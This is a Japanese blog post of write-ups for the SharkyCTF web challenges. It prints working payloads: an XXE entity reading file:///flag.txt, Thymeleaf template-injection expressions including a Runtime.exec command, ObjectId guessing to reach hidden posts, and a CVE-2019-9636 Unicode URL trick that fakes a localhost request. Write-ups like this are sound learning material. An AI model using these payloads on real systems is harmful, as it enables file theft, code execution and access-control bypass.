はまやんはまやんはまやん

hamayanhamayan's blog

SharkyCTF Web 解説集

https://ctftime.org/event/1034

XXExternalXX
Logs In ! Part 1
Containment Forever
WebFugu
Aqua World
Sharky Shop
Logs In ! Part 2
Erwin's file manager

二問ぐらいしか解けなかった。
ググラビティをもっと上げなければ。

XXExternalXX

One of your customer all proud of his new platform asked you to audit it. To show him that you can get information on his server, he hid a file "flag.txt" at the server's root.

http://xxexternalxx.sharkyctf.xyz/

Creator : Remsio

調査

問題名を見ると、XXEかな?という雰囲気もあります。

/
f:id:hamayanhamayan:20200513220640p:plain

トップページにはnewsに行けと書いてある。

/?xml=data.xml
f:id:hamayanhamayan:20200513220729p:plain

xmlファイルを指定している。
ディレクトリトラバーサルか?

/?xml=index.php
f:id:hamayanhamayan:20200513220652p:plain

:(

他にいろいろ見てみる。

  • ソースコード -> 気になる所はない
  • HTTPレスポンス
    • Server: nginx/1.14.2
  • 404ページ -> ヒント無し

ディレクトリトラバーサルを試す

/?xml=flag.txtとしてみる

Warning: file_get_contents(flag.txt): failed to open stream: No such file or directory in /var/www/html/index.php on line 20
Warning: DOMDocument::loadXML(): Empty string supplied as input in /var/www/html/index.php on line 23
Warning: simplexml_import_dom(): Invalid Nodetype to import in /var/www/html/index.php on line 24
Notice: Trying to get property 'data' of non-object in /var/www/html/index.php on line 25

いろいろ出てきた。flag.txtは問題文によるとルートにあるみたいなので、追記する。

/?xml=../../../flag.txt

最初の行がなくなった。
アクセスはできている見たいだが、xmlフォーマットではないのでエラーになっているようだ。
さあ、どうするかな…

/data.xmlをやってみると、xmlファイルが見れる。

<root>
    <data>
        17/09/2019 the platform is now online, the fonctionnalities it contains will be audited by one of our society partenairs
    </data>
</root>

このデータ構造に合わせれば、表示させることができそうだ。
ファイルアップロードができればXXEさせることができそうなんだけれど…

うーん、わかんない!

解説ACまで

あ゛~なるほど~

ディレクトリトラバーサルでは普通にURLを指定できる場合がある
覚えておこう。

解説を見た収穫として、HTTPレスポンスのモッキングサービスである、Beeceptorというサイトを知った。
これは便利。

Beeceptorを使って、XXEのペイロードを返すエンドポイントを作る。

<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///flag.txt"> ]>
<root>
    <data>&xxe;</data>
</root>

あとは、そのurlをxmlパラメタに渡すだけ。

f:id:hamayanhamayan:20200513220746p:plain

Logs In ! Part 1

Data printed on one of our dev application has been altered, after questioning the team responsible of its development, it doesn't seem to be their doing. The H4XX0R that changed the front seems to be a meme fan and enjoyed setting the front.

We've already closed the RCE he used, there is a sensitive database running behind it. If anyone could access it we'll be in trouble. Can you please audit this version of the application and tell us if you find anything compromising, you shouldn't be able to find the admin session.

The application is hosted at logs_in
http://logs_in.sharkyctf.xyz/

Creator : Remsio

f:id:hamayanhamayan:20200513220759p:plain

何やら下にいろいろ出てる。
Symfony 4.2.6が動いているようだ。
とりあえず、脆弱性が報告されてないか検索してみよう。

思ったよりいい情報が無いので、デバッグ画面を見てみる。
色々巡回していると、MainController.phpのコードが見られる。
ここ
ここを見ると、/e48e13207341b6bffb7fb1622282247bへのルーティングが見られる。

/e48e13207341b6bffb7fb1622282247b

f:id:hamayanhamayan:20200513220813p:plain

admin panelを開くことができた。Debug?へ移動してみると、フラグが書いてある。

Containment Forever

Hello, welcome on "Containment Forever"! There are 2 categories of posts, only the first is available, get access to the posts on the flag category to retrieve the flag.

http://containment-forever.sharkyctf.xyz/

Creator : Remsio

調査

/confinement

f:id:hamayanhamayan:20200513220822p:plain

色々出力されてきて、詳細も見ることができる。

/flag

f:id:hamayanhamayan:20200513220830p:plain

flagが見ることはできないが、2つあることはわかった。

/item/5e70da94d7b1600013655bb5

f:id:hamayanhamayan:20200513220838p:plain

ポストの詳細は、ObjectIdを指定して、表示しているようだ。
ObjectIdがどれも似ているのが気になる所。

画面はこれで全部。
ポストの詳細部分が可変URLっぽいので、適当なURLを与えてみる。

  • /item/5e70da94d7b1600013655bb
    • 1文字消してみた。
    • Cannot GET /item/5e70da94d7b1600013655bb
  • /item/5e70da94d7b1600013655bb0
    • 最後の文字を変えてみた。
    • エラーコードがたくさん出てくる

今のところ、ObjectIdが推測できそうという部分しかいい所がないから、それを見てみる。

ObjectIdを推測する

5e 70da94 d7b1600013655bb 5
5e 7e4f48 d7b1600013655bb 9
5e 83642b d7b1600013655bb a
5e 8ee635 d7b1600013655bb d

なんとなく同じ部分で区切ってみると、こんな感じ。
5eってなんだっけ…なんか見たことある気がするんだけれど…
前半も後半も時間が後になるほど、値が増加している。
前半は飛び飛びだが、後半は割と近い気がする。
前半は時間を使っていて、後半は飛び飛びなので連番を割り当ててるのだろうか。

前半は先頭8文字で構成されていると考えると、4バイトなのでunixの秒数のアレかなと想像する。

一番上のConfinement basicsについてやってみる。
時刻は「Tue Mar 17 2020 14:11:32 GMT+0000 (Coordinated Universal Time)」で、
このサイトで変換すると、1584454292である。
んで、このサイトで5E70DA94と出てくる。
あってる。

f:id:hamayanhamayan:20200513220849p:plain

Flag_first_partは
先頭が5e75dab2で3/21ならd7b1600013655bb5とd7b1600013655bb9の間なので、3択しかないので、全部試す。

5e75dab2d7b1600013655bb6
5e75dab2d7b1600013655bb7
5e75dab2d7b1600013655bb8 -> Hit!

f:id:hamayanhamayan:20200513220858p:plain
shkCTF{IDOR_IS_ALS0_

Flag_second_partは
先頭が5e948a3aで、4/13ならd7b1600013655bbd以降で試していく。

5e948a3ad7b1600013655bbe
5e948a3ad7b1600013655bbf -> Hit!

f:id:hamayanhamayan:20200513220905p:plain
P0SSIBLE_W1TH_CUST0M_ID!_f878b1c38e20617a8fbd20d97524a515}

WebFugu

A new site listing the different species of fugu fish has appeared on the net. Used by many researchers, it is nevertheless vulnerable. Find the vulnerability and exploit it to recover some of the website configuration.

Creator: MasterFox

http://webfugu.sharkyctf.xyz

調査

f:id:hamayanhamayan:20200513220915p:plain

HTTPリクエストとソースコードを見ると、表の中身は
http://webfugu.sharkyctf.xyz/process?page=PGRpdj4gPHRhYmxlIGJvcmRlcj0iMSI%2BIDx0cj4gPHRoPk5hbWU8L3RoPiA8dGg%2BRGlzY292ZXJ5IHllYXI8L3RoPiA8dGg%2BRGlzY292ZXJlciBuYW1lPC90aD4gPC90cj4gPHRyIHRoOmVhY2ggPSJmaXNoIDogJHtmaXNoZXN9Ij4gPHRkIHRoOnV0ZXh0PSIke2Zpc2gubmFtZX0iPi4uLjwvdGQ%2BIDx0ZCB0aDp1dGV4dD0iJHtmaXNoLmRpc2NvdmVyeVllYXJ9Ij4uLi48L3RkPiA8dGQgdGg6dXRleHQ9IiR7ZmlzaC5kaXNjb3ZlcmVyTmFtZX0iPi4uLjwvdGQ%2BIDwvdHI%2BIDwvdGFibGU%2BIDwvZGl2PiAgICAgIAo=
とリクエストしてhtml毎もらってきているようだ。

<div> <table border="1"> <tr> <th>Name</th> <th>Discovery year</th> <th>Discoverer name</th> </tr> <tr> <td>Fugu alboplumbeus</td> <td>1845</td> <td>Richardson</td> </tr> <tr> <td>Fugu basilevskianus</td> <td>1855</td> <td>Basilewsky</td> </tr> <tr> <td>Fugu obscurus</td> <td>1949</td> <td>Abe</td> </tr> <tr> <td>Fugu touphisodium</td> <td>1994</td> <td>Rajkowsky</td> </tr> <tr> <td>Fugu nofiksus</td> <td>1999</td> <td>Idaproetsen</td> </tr> <tr> <td>Fugu remsiomegabarbus</td> <td>1996</td> <td>Waibemaestro</td> </tr> <tr> <td>Fugu fratsopedibus</td> <td>1997</td> <td>Canard</td> </tr> </table> </div>      

こんな感じでリターンが来る。
pageパラメタで渡している所をCyberChefでいろいろ解析してみる。

f:id:hamayanhamayan:20200513220925p:plain

テンプレートを渡しているみたいだ。
Server-Side Template Injectionかな?
とりあえず、CyberChefでジェネレータを作っておく。
https://gchq.github.io/CyberChef/#recipe=To_Base64('A-Za-z0-9%2B/%3D')URL_Encode(true)Find/Replace(%7B'option':'Regex','string':'%253D'%7D,'%3D',true,false,true,false)&input=PGRpdj4gPHRhYmxlIGJvcmRlcj0iMSI%2BIDx0cj4gPHRoPk5hbWU8L3RoPiA8dGg%2BRGlzY292ZXJ5IHllYXI8L3RoPiA8dGg%2BRGlzY292ZXJlciBuYW1lPC90aD4gPC90cj4gPHRyIHRoOmVhY2ggPSJmaXNoIDogJHtmaXNoZXN9Ij4gPHRkIHRoOnV0ZXh0PSIke2Zpc2gubmFtZX0iPi4uLjwvdGQ%2BIDx0ZCB0aDp1dGV4dD0iJHtmaXNoLmRpc2NvdmVyeVllYXJ9Ij4uLi48L3RkPiA8dGQgdGg6dXRleHQ9IiR7ZmlzaC5kaXNjb3ZlcmVyTmFtZX0iPi4uLjwvdGQ%2BIDwvdHI%2BIDwvdGFibGU%2BIDwvZGl2PiAgICAgIAo

Server-Side Template Injection

td th:utextという特殊記法っぽい部分でググると、JavaのThymeleafというライブラリみたい。
SPELが使えるみたいなので、色々実験。

  • <div>[[${4*4}]]</div> -> <div>16</div>
  • <div>[[${sleep(10)}]]</div> -> 500 error すぐ帰ってくる
  • <div>[[${flag}]]</div> -> <div>Flag [content=REDACTED_IT_WONT_BE_THAT_EASY]</div> Haha
  • <div>[[${new java.io.BufferedReader(new java.io.InputStreamReader(T(java.lang.Runtime).getRuntime().exec('ls').getInputStream())).readLine()}]]</div>
    • from it
    • 200レスポンスでBad Request
    • 何かしらのフィルターがかかっているっぽい
    • 二分探索で文字列を減らしながら様子を見ると、以下文字列はブロックされる
  • <div>[[${#strings.toUpperCase('a')}]]</div> -> A

わかりませんねぇ…

解説ACまで

ほほう。
「thymeleaf list all」という感じにstackoverflowで検索するのね。
もうちょっと直接的にリサーチすべきだった。

thymeleafでは、変数を列挙する記法がある。
java - List all available model attributes in Thymeleaf - Stack Overflow

<tr th:each="var : ${#vars.getVariableNames()}">
    <td th:text="${var}"></td>
    <td th:text="${#vars.getVariable(var)}"></td>
</tr>

を投げる。

<tr>
    <td>flag</td>
    <td>Flag [content=REDACTED_IT_WONT_BE_THAT_EASY]</td>
</tr><tr>
    <td>thymeleaf::EvaluationContext</td>
    <td>org.thymeleaf.spring5.expression.ThymeleafEvaluationContextWrapper@d792afd</td>
</tr><tr>
    <td>fishes</td>
    <td>[xyz.sharkyctf.fugu.models.Fish@34f7c36, xyz.sharkyctf.fugu.models.Fish@68521fab, xyz.sharkyctf.fugu.models.Fish@28e16ed3, xyz.sharkyctf.fugu.models.Fish@39068636, xyz.sharkyctf.fugu.models.Fish@4150e3ec, xyz.sharkyctf.fugu.models.Fish@3907132a, xyz.sharkyctf.fugu.models.Fish@1ab3752f]</td>
</tr>

はーなるほどー、あとは、この変数たちを横断して、色々探すとフラグが出てくる。

フィールドの確認

<tr th:each="var : ${flag.class.declaredFields}">
    <td th:text="${var.name}"></td>
    <td th:text="${var}"></td>
</tr>

メソッドの確認

<tr th:each="var : ${flag.class.getMethods()}">
    <td th:text="${var.name}"></td>
    <td th:text="${var}"></td>
</tr>

メソッド実行結果の確認

<td th:text="${flag.getContent()}"></td>

Aqua World

My friend opened this handmade aquarium blog recently and told me some strangers connected to his admin panel and he doesn't understand how it is possible.. I'm asking you to get the answer!
http://aquaworld.sharkyctf.xyz/
Hint: WTF this PYTHON version is deprecated!!!
Creator : Remsio

調査

f:id:hamayanhamayan:20200513220937p:plain

anonymousでログインすると、Newsが押せるようになる。
/newsへのHTTPリクエストをみると、anonymous:anonymousbase64が入っている。
一般的なBasic認証だ。
ソースコードを見ると、/admin-query?flag=flagがある。
ここでflagをゲットするみたい。
Hi anonymous You need to connect locally in order to access the admin section (and get the flag) but you current netlocation (netloc) is http://aquaworld.sharkyctf.xyz
アクセスすると、こう出てくる。
locally connectが必要とのこと。
netlocationも表示されているが、どこからもってきてるんだろうか。
試しにHTTPリクエストのHostを変えてみたが、502エラーが帰ってきた。

HTTPレスポンスを見ると、以下情報が分かる。

そんで?

解説確認中…

CVE-2019-9636

Pythonの脆弱性情報(CVE-2019-9636) - OSS脆弱性ブログ
こちらを参考に読み解く。

NFKC正規化を行っている際に、Unicodeエンコーディング(不正なnetloc)の操作に問題がありました。

問題のあるコンポーネントはurllib.parse.urlsplit, urllib.parse.urlparseになります。

URLのパース時に発生すると。

攻撃方法としては、特別に細工されたURLによりcookiesや認証データが不正にパースされ、情報を異なるホストに送ってしまう可能性が有ります。

特別に細工されたURLを送ると成功する。

Exploit Code

writeups/2020-SharkyCTF at master · joshdabosh/writeups
解説にはExploitCodeが紹介されていた。
普通にcurl http://aquaworld.sharkyctf.xyz/admin-query\uFF03@127.0.0.1?flag=flagとしたらダメだった。
解説にもあるように認証が通るようにAuthorizationヘッダを付ける必要がある。
Burp Suiteでやってしまうか。

f:id:hamayanhamayan:20200513220951p:plain

f:id:hamayanhamayan:20200513220959p:plain

すげぇ。出てくる。なんで?
正しい部分との差分を見てみると、\uFF03@127.0.0.1が追加されている。
一旦創造を膨らませてみると、\uFF03@127.0.0.1を抜いたアドレスにアクセスはするけれど、そこのphpかなんかが実行されるときにURLを見てみると、\uFF03@127.0.0.1が入ってて、それが原因で悪いことができる的なことだろう。
\uFF03これは何だろう。

f:id:hamayanhamayan:20200513221008p:plain

ほう。あー分かった。

以下、ちょっと想像も入っている。
違っていたら、指摘してもらえると助かります。

GET /admin-query\uFF03@127.0.0.1?flag=flagをしたとする。
すると、サーバでルーティングをする際は、正規化が行われて、/admin-query#@127.0.0.1?flag=flagとして評価される。

以下はfragmentなので無視して、実質/admin-queryが呼ばれることになり、正しいファイルを呼び出してくれる。

そして、admin-queryで評価されるときは、URLをパースして、netlogを取り出すが、この時に
/admin-query\uFF03@127.0.0.1?flag=flag

  • admin-query\uFF03 ユーザー名
  • 127.0.0.1 ホスト名
  • ?flag=flag クエリ

として評価され、netlogとしては、ホスト名の127.0.0.1と評価されて、ローカルでのアクセスとして誤認させることができる。
Uniform Resource Locator - Wikipedia

//<user>:<password>@<host>:<port>/<url-path>

と書いてあるのが参考になるだろう。

Sharky Shop

This shark selling shop has been up for too long, it can't last anymore! Its disgusting users are comparing how much they spent on it. I can't take it anymore. Get an admin access on this website and share it with me so I can take it down.

http://sharky_shop.sharkyctf.xyz/

Creator : Remsio

解けてない。
解く前にサーバが閉じてしまった。
色々探すと、

  • time-based NoSQLインジェクションでいける
  • ブラインドインジェクションでいける

とかっていう文章を見ました。

Logs In ! Part 2

Whaaaat? They did not closed the dev mode? Seriously? Whatever, you couldn't access our sensible database, I guess an open dev application couldn't give that much information or hurt us could it?

Part1の高難易度版。
解けてない。